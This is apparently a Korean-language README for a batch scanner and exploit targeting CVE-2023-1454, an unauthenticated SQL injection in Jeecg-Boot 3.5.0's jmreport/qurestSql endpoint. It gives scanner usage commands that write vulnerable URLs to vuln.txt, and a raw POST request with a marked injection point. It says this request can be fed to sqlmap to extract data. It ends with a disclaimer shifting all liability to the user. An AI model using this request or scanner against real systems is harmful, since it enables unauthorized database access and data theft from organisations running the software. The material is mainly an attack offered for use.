
jmreport/qurestSql 무단 SQL 인젝션 일괄 스캔 PoC
jmreport/qurestSql 비인가 SQL 인젝션 배치 스캔 poc Jeecg-Boot는 Spring Boot 및 Jeecg-Boot-Plus 기반의 빠른 개발 플랫폼으로, 최신 jeecg-boot 3.5.0에서 여러 SQL 인젝션 취약점이 발견되었습니다.
python3 CVE-2023-1454-scan.py -u http://127.0.0.1:1111 단일 URL 테스트
python3 CVE-2023-1454-scan.py -f url.txt 일괄 검사
스캔이 끝나면 현재 디렉터리에 취약한 URL이 포함된 vuln.txt가 생성됩니다.
poc:

exp:
패킷을 txt로 저장한 후 sqlmap을 사용하면 데이터를 얻을 수 있습니다.
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129
{"apiSelectId":"1290104038414721025",
"id":"1*"}

본 문서에서 제공하는 정보를 전파하거나 이용함으로써 발생하는 직접적 또는 간접적 결과 및 손실은 모두 사용자 본인의 책임이며, 작성자는 이에 대해 어떠한 책임도 지지 않습니다.